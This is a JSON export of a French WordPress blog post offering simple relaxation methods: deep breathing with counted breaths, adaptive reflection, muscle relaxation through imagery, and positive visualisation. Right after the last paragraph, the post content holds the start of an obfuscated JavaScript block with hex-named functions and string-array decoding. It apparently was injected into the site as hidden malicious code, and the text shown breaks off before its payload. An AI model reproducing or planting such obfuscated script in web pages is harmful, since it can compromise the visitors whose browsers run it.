{"id":10608,"date":"2015-08-01T02:39:10","date_gmt":"2015-08-01T00:39:10","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=10608"},"modified":"2021-08-04T10:13:50","modified_gmt":"2021-08-04T08:13:50","slug":"methodes-simples-de-relaxation-naturelle-et-equilibrage-des-tensions","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/methodes-simples-de-relaxation-naturelle-et-equilibrage-des-tensions\/","title":{"rendered":"M\u00e9thodes simples de relaxation naturelle, et \u00e9quilibrage des tensions"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"M\u00e9thodes simples de relaxation naturelle, et \u00e9quilibrage des tensions\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p><span id=\"noHighlight_0.7013608643319458\" style=\"color: #000000;\">Le stress est une entrave qui nous emp\u00eache de vivre en bonne sant\u00e9, c&#8217;est pourquoi nous devons trouver de nouvelles m\u00e9thodes pour se d\u00e9tendre et surtout le ma\u00eetriser en ayant le contr\u00f4le de soi. Un esprit tranquille et en paix, est difficile pour se d\u00e9s\u00e9quilibrer, c&#8217;est primordial pour tous les aspects de la vie quotidienne, dans les sports de comp\u00e9tition, au travail&#8230;<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span id=\"noHighlight_0.14531955984421074\" style=\"color: #000000;\">L&#8217;incapacit\u00e9 de se lib\u00e9rer compl\u00e8tement des \u00e9motions n\u00e9gatives, provoque les tensions et le stress. Si vous \u00eates tendu, vos sens sont \u00e9galement tendus. Lorsque les sens sont d\u00e9tendus alors ils\u00a0seront plus r\u00e9ceptifs pour obtenir de meilleurs r\u00e9sultats. S&#8217;incliner par des \u00e9motions n\u00e9gatives et se laisser emporter par le courant des \u00e9nergies n\u00e9gatives, est l&#8217;une des principales causes de stress.<\/span><\/p>\n<p>&nbsp;<\/p>\n<p><span id=\"noHighlight_0.534861569525674\" style=\"color: #000000;\">Les tension produisent des blocages dans le flux d&#8217;\u00e9nergie, et qui d\u00e9s\u00e9quilibre les organes internes par cons\u00e9quence. Nous ne pouvons pas nier ces \u00e9motions, mais oui nous pouvons les chasser afin qu&#8217;elles ne causent pas de probl\u00e8mes de sant\u00e9, et c&#8217;est \u00e0 cette \u00e9tape qu&#8217;intervient le contr\u00f4le de soi pour canaliser les dites \u00e9motions n\u00e9gatives.<\/span><\/p>\n<p><span id=\"noHighlight_0.11126031074672937\" style=\"color: #000000;\"><em><strong>Des m\u00e9thodes simples de relaxation<\/strong> <\/em>\u00a0:<\/span><\/p>\n<p><a href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/respiration-profonde.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10611\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/respiration-profonde.jpg\" alt=\"respiration profonde\" width=\"263\" height=\"192\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/respiration-profonde.jpg 263w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/respiration-profonde-200x146.jpg 200w\" sizes=\"(max-width: 263px) 100vw, 263px\" \/><\/a><\/p>\n<p><span id=\"noHighlight_0.011982596246525645\" style=\"color: #000000;\"><strong>La respiration profonde<\/strong> : inspiration profonde pendant que vous comptez mentalement jusqu&#8217;\u00e0 quatre. Continuer \u00e0 respirer pendant que vous compter mentalement \u00e0 deux. Sortir l&#8217;air alors que vous compter mentalement jusqu&#8217;\u00e0 huit. R\u00e9p\u00e9tez l&#8217;op\u00e9ration pr\u00e9c\u00e9dente deux fois.<\/span><\/p>\n<p><a href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/think-positiv.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10610\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/think-positiv.jpg\" alt=\"think positiv\" width=\"319\" height=\"158\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/think-positiv.jpg 319w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/think-positiv-200x99.jpg 200w\" sizes=\"(max-width: 319px) 100vw, 319px\" \/><\/a><\/p>\n<p><span id=\"noHighlight_0.8896535781677812\" style=\"color: #000000;\"><strong>La r\u00e9flexion adaptative<\/strong> : lorsque vous commencez \u00e0 vous sentir inconfortable, nerveux ou alt\u00e9r\u00e9, faites attention \u00e0 vos fa\u00e7ons de penser pour\u00a0identifier celles qui sont inutiles pour atteindre un objectif, et qui peuvent avoir des r\u00e9sultats totalement contraires au r\u00e9sultats escompt\u00e9s (se centrer sur l&#8217;\u00e9chec, la haine, la culpabilit\u00e9). <\/span><\/p>\n<p><a href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/reflexion.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10612\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/reflexion.jpg\" alt=\"reflexion\" width=\"208\" height=\"208\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/reflexion.jpg 208w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/reflexion-200x200.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/reflexion-45x45.jpg 45w\" sizes=\"(max-width: 208px) 100vw, 208px\" \/><\/a><\/p>\n<p><span id=\"noHighlight_0.6572048268280923\" style=\"color: #000000;\"><strong>La relaxation des muscles<\/strong> : Asseyez-vous et fermez les yeux. Imaginez la situation suivante dans un champ ou une plage, il suffit d&#8217;\u00e9couter le vent, les vagues&#8230; Tout est calme. Essayez de noter comment il d\u00e9tend lentement les muscles de votre corps, et Commencez \u00e0 vous d\u00e9tendre.<\/span><\/p>\n<p><a href=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/arrivee-au-sommet.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-10613\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/arrivee-au-sommet.jpg\" alt=\"arrivee au sommet\" width=\"259\" height=\"194\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/arrivee-au-sommet.jpg 259w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/08\/arrivee-au-sommet-200x150.jpg 200w\" sizes=\"(max-width: 259px) 100vw, 259px\" \/><\/a><\/p>\n<p><span id=\"noHighlight_0.8310775018762797\" style=\"color: #000000;\"><strong>Affichage<\/strong> : Fermez les yeux et Imaginez la situation suivante \u00e0 la place des\u00a0objectifs (projet, \u00e9valuation, examen, etc.). Pensez que la r\u00e9ussite sera votre alli\u00e9. Vous vous sentirez d\u00e9tendu et s\u00fbr. Ajuster vos pens\u00e9es: \u00ab Tout ira bien \u00bb, et adoptez une attitude positive.<\/span><br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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